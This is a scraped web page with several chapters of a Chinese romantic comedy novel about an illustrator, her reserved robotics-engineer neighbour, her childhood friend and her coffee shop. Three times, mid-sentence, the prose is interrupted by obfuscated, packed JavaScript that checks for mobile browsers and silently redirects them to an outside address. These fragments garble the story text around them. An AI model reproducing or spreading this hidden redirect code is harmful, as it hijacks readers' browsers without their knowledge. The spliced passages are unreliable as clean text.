而且据她总结，这位新邻居虽然看起来有点冷淡，但人应该还是不错的，不然谁闲着无聊，刚被扰了清梦又被误会成变态，离开的时候还记得提醒“罪魁祸首”熬夜后不宜剧烈运动啊？ 又而且，刚刚他还提醒自己小心楼上丢烟头，和不要随便进陌生男人的家！ 如果这都不算好人，那世界上还有什么好人？！ 既然如此，那自己更应该主动一点、热情一点了！ 想到这里，迟了了重新打量起眼前正在收拾行李的周默。 虽然半夜只是匆匆一瞥，他当时的状态也不好，但迟了了多多少少还是看出来这位新邻居颜值颇高了，那眼睛、那鼻子、那轮廓线，尤其是那身高，啧，比一八五的许愿还要高出一截！ 这样一副皮囊，再配上那禁欲的眼镜，迟了了暗暗惊叹，从心底里发出一个字——绝！ 虽说看起来有点生人勿近，但她以自己专业的眼光保证，新邻居的颜值绝对可以打个S级！ 就着这样一张秀色可餐的脸，迟了了往嘴里又送了块菠萝，毫无铺垫地开口：“新邻居，你今年多大呀？” 周默刚将一个箱子搬到旁边，闻言动作一顿，扭头看她一眼：“……30。” 咦，比自己大了三岁？ 一个代沟呢。 不过这不是问题。 迟了了看他又打开一个箱子，从里面先拿出一台笔记本电脑，又拿出两个硕大的显示屏、几个支架和几根黑色连接线，不禁惊讶地张大了嘴。 眼见他将电脑和显示器都搬到了沙发后的书房里，然后有条不紊地在书桌上组装起来，迟了了越看越惊奇：“新邻居，你这是做什么工作的呀？” 周默将显示器固定好，正在校准其中一台的角度，闻言目光闪了闪，沉默了下才答：“计算机方面的。” 果然，理工男。 迟了了觉得自己看人的眼光越来越准了！ “程序员？”她好奇宝宝一样又问。 周默顿时一噎，不过想了想，又觉得对这种误解已经见怪不怪了。 这些年随着互联网行业的兴起，“程序员”这个职业被越来越多人知晓，似乎只要你说自己是做计算机的，大家的第一反应就是程序员——码农、高薪，以及……脱发。 不过换个乐观的角度来看，这种误解相比再早些年已经好了很多，毕竟那时候，当你说自己从事计算机工作时，许多人的理解更为简单粗暴——修电脑的。 想到这儿，他竟然觉得也不必非要纠正对方的错误了，于是不置可否地应了声，继续收拾桌子。 而似乎应他刚刚的念头，迟了了听了这话，目光在他头顶停留了片刻，由衷赞叹了一句：“那你头发还挺多的！” 周默手上一顿，抬眸瞄了眼额前垂下的碎发，嘴角忍不住抽了一抽。 迟了了倒是被自己这话逗乐了，又问：“那你具体是做什么领域的呀？软件，硬件？还是什么游戏、电商之类的？” 这次周默停顿的时间比之前又久了点，半晌才含混地回了四个字：“具身智能。” “什么？” 什么智能？那是什么东西？ “你可以理解为，机器人。”他解释道，一副兴致缺缺的样子。 迟了了一听，却哇的一声瞪大双眼！ 她本来话就多，这么一激动，话题更是一个接着一个—— “你做的机器人也会跳舞吗？能上春晚吗？” “它能帮人做家务吗？” “机器人会思考吗？会画画吗？” “机器人未来会不会毁灭人类呀？” …… 周默一开始还敷衍地回答她一两句，但随着她问题越来越离谱，他最后干脆沉默了。 迟了了一个人唱了会儿独角戏，见他不怎么接茬了，惊觉自己扯得有点远了，赶紧又把话题拉回来，热情地向他介绍起小区的情况：从垃圾分类的早晚时间，到小区对面的快递驿站，再到小区周边的餐厅超市、附近的公园商场…… 周默听在耳中，只觉得叽叽喳喳的声音几乎充满了整间屋子，吵得他耳朵嗡嗡响。 终于，就在他耐心告罄之际，门外电梯“叮”地响了一声。 迟了了话头立刻刹住，疑惑地回头看去，然后就见一个身穿某团制服、戴着头盔的小哥从电梯里快步走了出来。 小哥先是左右张望了一番，当目光落在门口的迟了了身上时不禁一愣，踟蹰几秒后才不大确定地问了一句：“请问，这里是8号楼801吗？” “哦，是！”迟了了立马应道，转头看向屋内，“是你点的外卖吗？” 周默在听到小哥声音的同时就已经走了过来：“对，是我点的。” 正迷茫的外卖小哥顿时松了口气：“周默先生是吧？”他就说怎么会是个女孩子，还以为自己跑错楼了呢。 “您的外卖，祝您用餐愉快！满意的话麻烦给个五星好评哈！” 周默道了谢，抬手接过。 可交接了外卖，小哥并没有立刻离开，而是满头问号地看了两眼抱着果盘守着个垃圾桶坐在门口的迟了了，才欲言又止地转过身去。 等按下电梯按钮，一回头，见她还没有进门的意思，小哥到底没忍住，一脸八卦地问：“你们这是……吵架呢？” 这是什么小年轻最新流行的吵架姿势吗？虽然看不懂，但他大受震撼。 这一问，倒是把两人都给问懵了。 见他们都不反驳，外卖小哥更加肯定了自己的猜测，不以为然地看向周默：“吵架了也不能把女朋友赶出来啊，要出去也是咱男的出去！” 周默顿时：“？” 迟了了愣了下，反应过来：“……噗！” 见两人都看过来，她赶紧抿住嘴，忍着笑竖起大拇指：“小哥说的有道理，小哥你有对象了吗？” 晒得黝黑的脸上立刻露出憨厚却不失羞涩的笑，小哥挠挠头盔：“有了，娃儿都快十岁了！” “哇，那你老婆一定很幸福！” 小哥一听这话，立即挺起胸膛，满脸骄傲：“那可不！家里亲戚邻居没有不夸她嫁得好的！”夸自己老婆嫁得好不就等于夸自己好，他当然高兴。 “真棒！行，哥你快去忙吧，别误了下一单！我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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主要是眼前这人总给他一种不大靠谱的感觉，万一哪天忘记关水龙头把自己这儿给淹了，他总要能找着人。 于是打开手机，将二维码名片出示给她。 在迟了了低头扫码时，他的目光不可避免地落在她手上那个支棱着两根毛线麻花辫的丑娃娃手机壳上。 ……真是丑得，别出心裁。 正腹诽着，手机里响起叮的一声提示，他立刻敛回思绪，着手处理新进来的好友申请。 这一看，又见手机里那个新跳出的微信头像是个卡通版的泡面头女生，看样子……他瞄了眼正俯身将垃圾桶拎回屋内的人，竟然有点像？ “哦对了，”迟了了想起什么，又说，“门锁密码你回头记得重置一下哦，原来的我知道，而且有我的指纹。” 这个提醒倒是让周默心里微微一滞，对她的印象有了些许改观。 “好，谢谢。” 迟了了嘿嘿一笑。 转而，她也看到他手机上正停留着的自己的微信头像，想起刚刚自己问了他的职业，却还没有自我介绍，于是忙又说：“差点忘了，我是画画的，这个头像就是我的自画像，怎么样，很像吧！你要是想要，回头我也给你画一个，免费的！” “谢谢，不用了。” 这次周默半秒都没犹豫，就“礼貌”地谢绝了。 - 回到楼上，迟了了将果盘送去厨房洗干净，然后又去了趟洗手间。 “玛卡巴卡”的来电铃声响起时，她正搓着满手泡沫复盘刚刚的“邻里交流”。 看来电显示的头像和名字，她立刻回过神来，嘿了一声。 “正想找你呢！” 说着速速冲净手上的泡沫，来不及擦干手，甩了两下便用湿漉漉的指节敲开了接听键。 5. 租房真相 迟了了收手时，一滴水珠落在屏幕上，不偏不倚，正好砸在跳出来的人的——鼻子上。 看着手机屏幕里蹦出来的大鼻子，迟了了：“噗！” 而镜头对面，一头酒红色头发的帅气男人对自己拥有了个“猪鼻子”浑然不知，见视频接通，镜头晃了晃，“猪鼻子”消失，画面恢复了本该有的赏心悦目，像是从校园漫画里走出的校草男神一般。 然而他一开口，混不吝的腔调又瞬间将这张帅脸营造出的浪漫唯美氛围“吧唧”一下摔得粉碎，捡也捡不起来：“哟，迟三三，见到我这么高兴啊！怎么，几日不见，想哥哥了吗？” 听到他的话，迟了了立马做了个呕吐的动作，受不了地抖抖肩膀：“去你的吧，少哥哥哥哥的，油腻！” “呵，”对面男人被她这么怼，非但不生气，还拨了拨酒红色的头发，很是满意的样子，“很好，看到你对帅哥的免疫力依然在线，我就放心了！” “得了吧，跟你有什么关系，”迟了了轻嗤一声，踮起脚举起手，在半空中吃力地比画了一个高度，“我自己的审美Level可是在这儿呢，好吧？” “Nonono！”男人竖起一根手指摇了摇，好看的桃花眼微微眯起，“你错了，你如今对帅哥的审美水平可全是靠我——”他手指一转，指向自己，“从小到大二十多年如一日耳濡目染培养起来的。” “……”一向话多的迟了了此时决定闭麦。 撇撇嘴，她拿起手机走向客厅，来到沙发前一个后仰将自己砸了进去。 视频那头，男人见她这副生无可恋放弃挣扎的模样一阵乐不可支。 等笑够了，才良心发现，停止虐待她的精神，清清嗓子，认真地问：“话说，你昨天找我干嘛？” 他前几天为了赶篇论文忙得没日没夜，到昨天好不容易搞定了，立马回去睡了个昏天黑地，结果一睁眼，就看到置顶消息里的那句“醒了给我打电话，有事”。 他立马就清醒了，半分钟都没敢耽搁就拨了过来。 迟了了怔了下，扭头看向窗外午后微微偏西的日头，心里默算了下他那边的时间，惊讶： “你这会儿起床啊？” 话音刚落，对面就抬手示意她闭嘴：“打住，动不动就熬夜的人没资格谴责我的作息。” 迟了了：“……” 行叭，她闭嘴。 从沙发上坐起来，迟了了将双腿一盘，优哉游哉地晃晃身子，回到正题：“也没什么大事儿，就是想问问你楼下房子是什么情况，怎么出租了，也不跟我说一声，要不然——” 她猛地刹住话头。 “要不然怎么了？”那边好奇地问。 迟了了不耐烦了：“少废话，你先说！” 对方颇觉无辜：“嘿，迟三三，你倒挺会跟我横！” 迟了了：“哼！” “……”他真是服了。 “行，我先说！之前不是跟你说过嘛，这边有个机会，我那教授想邀请我继续参与他的研究，我还挺心动的，但老头不同意——” “他哪次同意了吗？”迟了了发誓，这一问纯属好奇。 对方脸色一垮，瞪她：“因为谁？” 迟了了赶紧赔笑：“我错了，您继续。” “哼，”男人白她一眼，又说道，“然后他就说，既然房子我也不住，闲着也是浪费，不如就租出去，每月还能收点房租，也算是我这个逆子尽点孝心了。” 哎别说，这话说得很有道理啊！ 迟了了深以为然地点点头。 对面看到又是一阵无语，转而不屑地冷笑一声：“他以为这招能唬住我？哼哼，那还真是小瞧我了，这不见我不买账，前几天又说房子已经租出去了，还拿了张假合同给我看。呵，我还不了解他，烟雾弹而已！” “额……” 迟了了眨眨眼，有点不大忍心戳破他的自信：“那，你对你爸的了解，可能确实不大深刻……” 对面男人仍不以为意，胸有成竹地摆摆手：“不可能！” 嗯—— 迟了了抿着唇，没有说话。 于是，在接下来长达近一分钟的沉默里，她眼看着视频里男人脸上的得意一点点落下来，原本自信的笑容随之变得僵硬，取而代之的，是逐渐瞪大的双眼，和难以置信的表情。 “你，怎么知道，他要把房子租出去的？”终于意识到哪里不对，他颤抖着声音，小心问道。 “嘻嘻，”迟了了甜甜一笑，“人家已经搬进来了呀！” “搬，进来，了？！” 对面帅哥，也就是周默真正的房东——许愿瞳孔一震，瞬间绷不住了：“真租出去了？不是拿假合同蒙我的？” “嗯，看来是真的。” “这臭老头，竟然来真的！”许愿登时气得原地直打转，转了两圈，又猛地抬头看向迟了了，“那我……” “那你不正好顺水推舟，不用回来啦！”迟了了笑得乖巧又狡猾，像只人畜无害的小狐狸。 “可我，你——”许愿欲言又止。 迟了了知道他要说什么，抬手拦住他后面的话：“总之呢，你就专心干你自己的事情就行，房子既然租出去了，正好，你就安心在那边待着，后续的事情，交给我！”说完，她拍拍胸口，一脸自信。 话说到现在，事情的前因后果她约莫也猜出来了。 许爸想用租房子逼许愿回来，但许愿猜出来自己亲爹只是虚张声势，所以完全没把这事放在心上。 见儿子不买账，许爸索性把这事坐实，真找了个租客，以为儿子见到合同就会赶紧回来，到时候也就是毁约赔点钱的事。 可没想到，当爹的以为儿子会先投降，当儿子的以为老爸是找了个假合同骗自己……就这样，事情的结果，就是作为租客的周默，安然无恙顺理成章地住了进来。 不过，事情发展到现在这一步，倒是歪打正着，恰好合了迟了了的心意！ 但许愿可不这么觉得：“不行，要不我还是回去吧，你这……能行吗？” “我怎么不行！”迟了了两眼一瞪，“你瞧不起谁呢？你都出国四年了，我不也好好的呢！” 许愿一脸担忧地看着她，久久无语。 迟了了见他这表情，无奈地抿抿嘴，语气软了下来：“哎呀，我真没事！不就是个新邻居嘛，我又不是没邻居，有什么不一样啊？小区里那么多邻居，你问问谁不喜欢我！” 这次，她一脸臭屁的样子总算逗乐了许愿。 他哧地笑出来，摇头叹气：“你呀！” 迟了了嘻嘻一笑，脸上尽是无辜。 这一页就算翻过去了，过了会儿，许愿又问：“对了，你跟那人碰面了？” 呃，迟了了倏地收起笑，一双眼睛左看看右看看。 她该怎么说？说自己半夜因为扰民被人家找上门了？ 不行不行，这也太丢人了！ “哦，下楼的时候正好碰上了。”她眨眨眼，含含糊糊地说。 许愿不疑有他，又问：“那他人怎么样？” 迟了了抠着抱枕上刺绣花纹的手指一顿，一脸茫然：“我怎么知道？” “你少给我装，”许愿才不吃她这套，“我还不知道你？路上遇见条流浪狗，你都能把人家历任主人的家庭住址给刨出来！” 迟了了顿时：“……” “那你还真是高看我了，我不懂犬系语言。” “少打岔，快说！” 他这么着急，倒让迟了了觉得有些不对劲了。 她凑近了点，审视地看着他：“你这么激动干嘛？为什么这么好奇他人怎么样？”说完不等许愿开口又道，“别说是为了我啊，你撒谎我能看出来的！” 许愿脸上一僵，一下子别扭起来。 迟了了一看他这样，更确信这背后有瓜吃，立马逼问起来。 许愿挣扎了几个回合，最后到底顶不住迟了了的盘问，只好坦白。 “哎呀你是没听见，老头把租房合同发给我之后转头就给我打了个电话，我还什么都没说呢，他劈头盖脸就骂了我一顿！说什么差不多的年纪，还都是出国的人，人家文质彬彬我一头红毛，人家回去报效祖国，我却想着留外，还问我是不是国外的垃圾都比国内的好拣！” 许愿越说越气不打一处来。 “你说他骂也就算了，还不给我反驳的机会，我刚要还嘴他就把电话挂了，还把我拉黑了，人干事儿？！ “我原本以为他是找了个假合同，编了个假租客故意气我，可照你这么说，租房合同既然是真的，那这人……” 迟了了早就乐得不行了：“二爸真这么说呀？嘴真毒，不愧是我认识的二爸！” 说来也怪，自打懂事起，许愿这人就拥有一股远远超乎常人的自信。诚然，他确实聪明，颜值上也是从小到大一路蝉联校草之名，身边明恋暗恋他的女生更是一波接一波，甚至走在路上还被经纪公司递过名片。 可人也不能过于自信，自信过头就容易自恋，进而不知天高地厚。 为了防止儿子太过得意忘形、日后闯祸，从小到大许愿爸妈就没少打击他，其中的主力选手当然就是许愿爸爸。为此，原本温良可亲、出口成章的许教授愣是被自己儿子反向培养成了个毒舌大叔。 而作为发小兼损友，迟了了自然也没少从旁加柴添火。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818833|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是不知是他被打击得太多已经免疫，还是本来会更自恋，现如今已经是打击起效后的成果，总之，直到现在，此人的脸皮依旧可以厚到刀枪不入，也实在是天赋异禀。 这一次，看来许愿爸爸是又摸到克制儿子的新招了——吵架斗嘴不可怕，折磨人的是你正要还嘴，却发现对方把你拉黑了…… 真是可惜咯~ “那他到底是干嘛的？”许愿果然不把她的话放在心上，重新将话题拽回正轨。 “是个什么什么智能，通俗点说，就是机器人。”迟了了也不跟他绕弯子，把刚刚打听到的名词告诉他。 什么什么智能，机器人…… 许愿想了想：“具身智能？” “啊，好像是这个！”迟了了双手一拍。 “研发，还是销售什么的？”许愿又问。 “额，研发吧？”迟了了挠挠头，“他说他是程序员。” ……好吧。 许愿撇撇嘴，摆出一副不屑的样子：“也不怎么样嘛！” “……”迟了了就静静地看着他嘴硬。 睡了几乎一整天，这会儿视频的工夫，许愿已经从床上爬起来，准备找点东西填肚子了。 “你还有事吗？”他问。 “哦，没了，”迟了了踢踢脚，“就是问问你租房子什么情况。” “唉，我也没想到老头子来这招，搞个假合同不就行了，怎么还真给租出去了，真是不知变通。”许愿颇有种恨铁不成钢的无奈。 “不过你要真不用我回去，楼下那个人，你就保持点距离，知人知面不知心，老头子为了着急搞这个租房合同估计也没怎么考察，那些学历职业外表礼貌什么的，都可以包装，不可信！你们一个楼上一个楼下的，没事少打交道！” “……”迟了了动动脚趾头。 “听见了吗？”许愿没听到回应又问了一遍。 “知——道——啦！”她不耐烦地拉长声音。 “我说的主要就是你！老爱跟人套近乎，小心着点，别哪天让人给忽悠瘸了还跟人笑嘻嘻呢！” 他这么说迟了了可就不乐意了：“谁爱跟人套近乎了，我那是友好，你也不看我在小区里人缘多好！” “防人之心不可无！”许愿恨不得揪着她的耳朵，把这句话钉进她脑子里去！ “知道了知道了，”迟了了不耐烦地捂上耳朵，“你赶紧吃饭去吧，我挂了！” “哎你——” 没等他说完，迟了了已经利落地按下挂断键，看着重回锁屏窗口的手机，她撇撇嘴，做了个鬼脸。 真是的，不过比她大一个多月，就总把自己当她哥！ - 又用了一天，周默这个家总算差不多搬完了。 一切收拾妥当，第二天早上，他提上包准备出门。 周默租的这个小区，名叫“翠湖里”，是个以一梯两户的小高层为主的中高端小区，所以虽是上班高峰期的时间，但电梯还是很快响应了召唤，显示屏上的数字从1开始慢慢增大。 周默低着头，漫不经心地等着。 阳春四月，天朗气清，春光正盛。 柔软细腻的春风吹动楼下的香樟树叶，又裹着窸窸窣窣的声响和若有似无的叶香，轻盈跃上8楼窗台，撩动着他脑后的发丝和浅蓝色的衬衫。 周默侧过头去，望着窗外的景色，渐渐出了神。 于是，他没注意到，电梯屏上的白色数字在变成8之后并没有停止，而是又蹦了一下，变成了9，然后才停下。 又过了几秒，电梯下降，数字重新定格在了8。 随着叮的一声响，周默思绪回笼，回头看向电梯，并将电脑包换了一只手。 然而，当电梯门缓缓开启，他正要抬脚进去时，又忽地一顿。 银灰色的电梯里，两侧和后面都嵌了面半身镜，而此时，其中一面镜子前，一个五彩斑斓的身影正抬手整理着身上的挎包。 这人不是别人，正是周默昨天刚见过的热情邻居，迟了了。 今天的她，上身一件红蓝紫橙渐变色的圆领毛衣，下身一条白色牛仔背带裤，脚踩一双嫩粉色的高帮帆布鞋，肩上还挎着个天蓝色的方形水桶包，而那头蓬松的卷发，则用根亮橙色胡萝卜造型的发绳束起了一半，在头顶扎了个冲天的马尾。 整个人鲜艳又扎眼，像个五颜六色的调色盘。 电梯里，迟了了感觉自己才刚上来电梯就停了，也好奇地转头看去。 一见门口站着的周默，她眼睛一亮，笑容立刻绽开：“早上好新邻居！哦，周默！” 周默：“……” 精神头真足。 6. 宝宝巴士 曾经有人跟周默说过，人在穿搭上，要讲究个“三色法则”。 大致意思就是，除了黑白色外，一个人全身上下的搭配最好不要超过三种颜色，否则就会显得杂乱无序，给人一种“这人什么都往身上挂”的感觉，既没有章法，也缺乏品位。 周默对色彩没什么研究，不大清楚像眼前这种，红色和粉色、蓝色和紫色能不能算作一种颜色？如果不算的话，再加上橙色、绿色、黄色……那这一身从头到脚，可就远不止“三色”了。 不过，倒也很神奇的并不难看。 只是有这样一团五彩缤纷的颜色杵在一旁，再加上周遭镜面的反射，即便有意不去在意，余光里的存在感也绝对无法忽视。 周默偏了下头，努力让自己的注意力不被夺去。 无奈刚掏出手机想转移一下，那团颜色就凑上来了。 “周默，你是要去上班吗？”对方脆生生地问道。 周默再也躲避不得，扭头看了她一眼，简短地回了一个字：“对。” 这时，目光从她头顶的胡萝卜发圈落到她脸上，周默才发现她眼角还画了粉色的妆，此时正随着她眨眼的动作若隐若现。 想到昨天她说自己是画画的，周默福至心灵：这五颜六色的搭配和妆容，怕不是把自己当成了个画布吧？ 迟了了对他的脑洞一无所知，又问：“你公司在哪里呀，远吗？” “……不远，西港那边。”周默报了个大致方位。 可他说完就有些后悔了，依昨天的经验，自己稍微多说几个字，她就能没完没了地问下去。 果不其然，迟了了一听就长长“哦”了一声：“对哦，那边好像是要集中发展智能产业呢！”前阵子那边还开了个什么AI大会，路两边的广告牌上全是相关内容，她想不知道都难。 而这次周默吸取教训，没再顺着她的话说下去，只含混低沉地嗯了一声，便再次拿起手机。 这反应无疑让兴致勃勃的迟了了有些受挫，她张了张嘴，见周默没有放下手机的打算，不禁失望地鼓鼓脸颊。 哼，许愿还说自己爱跟人套近乎，可对上这么个高冷的对象，自己分明是英雌无用武之地嘛！ 电梯一路未停，很快抵达一楼。 周默总算收起了手机，出于礼貌，抬手按住开门键，示意迟了了先走。 霎时间，委顿的神色又被这绅士的举止点亮了，迟了了开心地道着谢，小步快跑到楼门口，礼尚往来地拉开玻璃大门，回头期待地看向跟上来的周默。 可没想到，周默路过时只是点头说了声谢谢，便头也不回大步走出去了。 “哎，周默！”迟了了不甘就此放弃，赶紧跟上去喊住他，“你怎么去上班呀？” 周默停下脚步，心里已经有些不耐：“打车。” 打车？ 怎么用得着打车？！ 迟了了瞬间又看到了希望，抬手就朝旁边楼下停车位上一指：“就一点路，还废那钱打车干嘛，我送你呀，我有车！” 周默当然没准备搭她的顺风车，可听她这么说，还是下意识地扭头看过去。 然而，当他毫无防备的视线顺着她手指落在旁边的停车位时，下一秒立刻被惊了个目瞪口呆！ 他怀疑自己是不是看错了，于是又回过头来看看她，再重新顺着那手指看过去—— 有没有搞错？！ 瞧她这副理直气壮、豪气干云的模样，他还以为她是有辆豪华跑车，再不济也是常规款的双排四门车呢。 可谁能告诉他，为什么映入眼帘的竟然是个…… 宝宝巴士？！ 还是珍珠粉配色的？！ 而且前排驾驶室上还放着满满一排千姿百态的卡通装饰？？？ 他再次难以置信地看向迟了了，很想问问自己究竟什么时候给了她错觉，竟让她以为自己会愿意蹭这样一辆车，他看上去和这辆可爱风小粉车有哪怕那么一丁点的适配度吗？ 再想想如果自己当真坐着这样一辆车去见祝赫…… 嘶，周默赶紧摇摇头，将这荒唐的想法从脑子里赶出去！ “你别小瞧它，它是个敞篷呢！”见他这反应，迟了了赶忙又补充道。 ……这是敞篷不敞篷的问题吗？ 周默努力克制着扭头就走的冲动，竭力维持着最后一丝礼貌和淡定：“谢谢，不用麻烦了。” 迟了了立刻大方地摆摆手：“不麻烦不麻烦，正好我也要出门呢，而且你那里也不远。” 周默还是果断拒绝：“谢谢，不用了，不顺路。” 迟了了还要再说什么，这时周默的手机恰好响了起来，他拿起来一看，是串陌生号码，但估摸着应该是出租车司机打来的。 他顿时松了口气，从小到大打过那么多次车，从没有哪次像今天一样，如此感谢师傅的催促。 他立马接起电话，回头朝迟了了比画了一下，也顾不得她看没看懂，便大步往小区门口走去。 步履间，很难说没有一丝仓皇而逃的意味。 “哎——” 迟了了还想喊住他，可不一会儿工夫周默就已经走出去老远，她看着他的背影，张了张嘴，又将到嘴边的话咽了回去。 唉！新邻居好像不大好接触呢…… 不过—— 看着周默健步如飞的背影，迟了了又低头看看自己，踢了踢腿： 腿长走路就是快呀！ 羡慕！ - 川流不息的街道上，两侧粗壮的法国梧桐已经冒出青绿色的新叶，郁郁葱葱，翠绿翠绿的，在阳光的照耀下，摇曳出斑斑点点的光影。 在CBD繁华写字楼的背后，法国梧桐相遇的幽静街角，一家木系装修风格的咖啡店正开着半扇门，浓醇微苦的香气混着悦耳动听的轻音乐从里面飘出来，让过路的行人都忍不住深嗅一口。 有人看了一眼，又恋恋不舍地走过去，也有人被勾起了馋虫，调转方向走进店里，点上一杯招牌的焦糖美式，或是一杯应季的茉莉拿铁，小坐片刻，或是打包外带。 粉色宝宝巴士从晨间还带有一丝清凉的树荫下驶来，在门口那块写着“或者OR”的白色灯柱前停下时，一位客人正端着一杯咖啡从店里出来。 两人谁也没有看到彼此，以至于迟了了刚下车就差点和对方撞个正着。 “哎呀妈呀！” “哎哟哟哟——” 对方肩背手提一身累赘，眼看躲闪不及，连忙惊呼出声。 好在迟了了身形还算灵巧，连忙往旁边一闪，这才避免了一桩“惨案”发生。 惊魂甫定的两人一时面面相觑，片刻后又都不好意思地笑了出来。 “对不起对不起！”客人以为她也是来店里买咖啡的，连声道歉。 迟了了摆摆手：“没关系没关系！欢迎下次光临！” 客人一愣，这才明白过来她原来是店里的人，于是点头笑笑，抬步离开。 送走客人，迟了了哼着歌走进店里。 咖啡店面积还算宽敞，进门迎面便是个柜台，柜台下是甜品柜，后面是操作间和烘焙区，里面摆着两台咖啡机，还有高高的、用玻璃罐子装起来的几罐咖啡豆，以及其他一应工具、杯子之类的东西。 柜台右边，是一整片堂食区。 超大的上下折叠橱窗直对外面的街景，窗下是张内外各半的长条实木吧台桌和几张高脚凳，再往里，则是几张小圆桌配折叠露营座椅，最里面靠墙的地方，又是一排沙发座，墙上还挂着几张颇具艺术感的油画。 正是上午九点多，店里堂食的客人不多，来的单子大多是外卖，或者打包。 应是听到了迟了了刚刚在门口的动静，在她进门的同时，咖啡机前一个系着棕褐色围裙、黑色长发半挽在脑后的女生便头也不抬地催促：“你可算来了，快去洗手穿围裙，刚来了几个外卖单，我快忙不过来了！” 迟了了心虚地笑了一下，一溜烟跑进吧台后面的休息室，半分钟后再出来，就已经穿上了同款的围裙，头发也绑起来了。 她直接掀开后侧的一面活动板钻进操作间，接过女生随手塞来的两张外卖单看了一眼，也埋头忙活起来。 这家名叫“或者OR”的咖啡店，是迟了了和最好的朋友，也就是这个气质清冷、身形清瘦的女生合开的。 当初投资时，两人各出了一半的钱——按比较有逼格的说法，是各占50%原始股——自此，两人便成了这家咖啡店的“主理人”。 当然，这也是比较有逼格的说法，通俗点讲，就是“个体户”。 不过因为迟了了有自己的工作要做，平日里，咖啡店主要是由朋友打理，对外而言，“或者OR”的老板，也一直都是朋友，甚至连“或者OR”这个名字，也是朋友取的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818834|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对了，这位长相清瘦、气质清冷的朋友，有个很豪气的名字——江湖。 据说她出生时，她爸正痴迷金庸老爷子，整天想着锄强扶弱、侠肝义胆、闯荡江湖，中二得厉害，如果不是自己老婆正怀着孕，他可能真的要仗剑走天涯去了。 后来，女儿呱呱坠地，老爸壮志难酬，只好将满腔未竟的抱负寄托在女儿身上。正巧自己姓江，老婆姓胡，夫妻俩一合计，索性给女儿取了“江湖”这么个名字，还美其名曰：“希望女儿像个女侠一样，勇敢、正义、无拘无束！” 迟了了当年听了这事儿之后很是感慨，拍了拍好友的肩膀，说：“你爸妈感情真好，你妈竟然能同意你爸给女儿取这么个名字！” 对此，江湖女侠本尊的反应是：呸—— 天知道，她从小到大被多少人起过绰号叫“浆糊”！ 被不靠谱的爹妈给了这样一个名字，江女侠不是没想过给自己改名，可多年来却始终未能成行。倒不是她爸妈不同意，纯粹是因为她自己有选择困难症，总想不好改的话改成什么好，名字想了一个又一个，总是前一天晚上拍案叫绝，第二天起床一看，简直又矫情又狗屁不通！ 当然，还有另一个原因。 就是“江湖”这个名字虽然给她带来不少苦恼，但从另一个角度看，也让她给自己从小到大一切犯傻、不聪明和考试失利的行为都找到了名正言顺的理由——“人如其名，我笨还不是因为我叫浆糊”。 自然，后者只是她在爸妈面前逃脱惩罚的狡辩之词，私下里她还是给自己取了个小名： 闯闯。 与闯江湖异曲同工。 而她也确实没有辜负这个名字，大学一毕业就一个人走南闯北去过许多地方，有的是工作，有的是旅行，总之怎么率性怎么来。几年后，她又突然收心回到荔安，跟迟了了合开了这家咖啡店，自此每天从早到晚守着店面，俨然一名退隐江湖的侠客。 对于咖啡店的名字，也是她提出叫“或者OR”，意为打破当下的桎梏，发现人生的另一种可能。 迟了了曾据此猜测，这位看起来文艺清冷，实则性格豪爽不羁的闯女侠，说不定真是个深藏不露的资深女文青！ 除了闯闯，平日里咖啡店还有个叫阿葱的女孩子帮忙，只是今天阿葱有事请了假，闯闯得知迟了了刚好交了稿得了闲，便命她过来支援。 两人忙活了好一阵子，终于做完了所有单子，正要歇一口气的时候，门口又进来一人。 两人抬头一看，好嘛—— 真正的“文艺女青年”来了。 来人长得高挑曼妙，一头波浪长发慵懒地披在肩后，身上一件白色真丝衬衫搭配橄榄绿的高腰阔腿裤和浅咖色风衣，脚上一双漆皮低跟皮鞋，鼻梁上还架着副墨镜，衬着玫瑰色的口红，整个人往那一站，简直就是大写的—— 优雅！ 知性！ 阅读量！ 看着这人，柜台后两人对了个视线，低声打起商量。 “我猜五秒。”闯闯说。 “我猜三秒。”迟了了说。 ？！ 闯闯惊讶地看着她，正要开口，柜台外的女人就已经摘掉墨镜，啪地往柜台上一撂：“艹！给我来杯美式！加浓！” 闯闯登时：“？？？” 一脸难以置信地看着迟了了，只见她无辜笑笑，在柜台下悄悄伸出五根手指，用唇形无声地说了句：“五块钱，谢谢。”语毕，还得意地眨了下眼。 “……” 闯闯恨铁不成钢地瞪着柜台外女人因摘掉墨镜而露出的一双丹凤眼，没好气道：“你这人设，就不能再多维持两秒？” 女人双手在胸前一抱，下巴一抬：“不，能。” 痛失五块钱的闯闯朝她翻了个白眼。 女人耸耸肩，不跟她计较，说了句“做好了送来”就朝迟了了伸出一根手指，勾了勾：“你，跟我来。” 说罢转身朝堂食区走去。 迟了了无奈和闯闯对视一眼，转头一抬手搭在肩上，应了句：“喳——” “你就不能硬气点？”闯女侠很是看不过去 迟了了摇摇头：“不能诶，她可是我的暴躁编辑。” 没错，这位看起来很不好惹的女人不是别人，正是迟了了的编辑——小樱桃，也就是那位“别来找肖女士”。 本名，肖音韬。 7. 大神风范 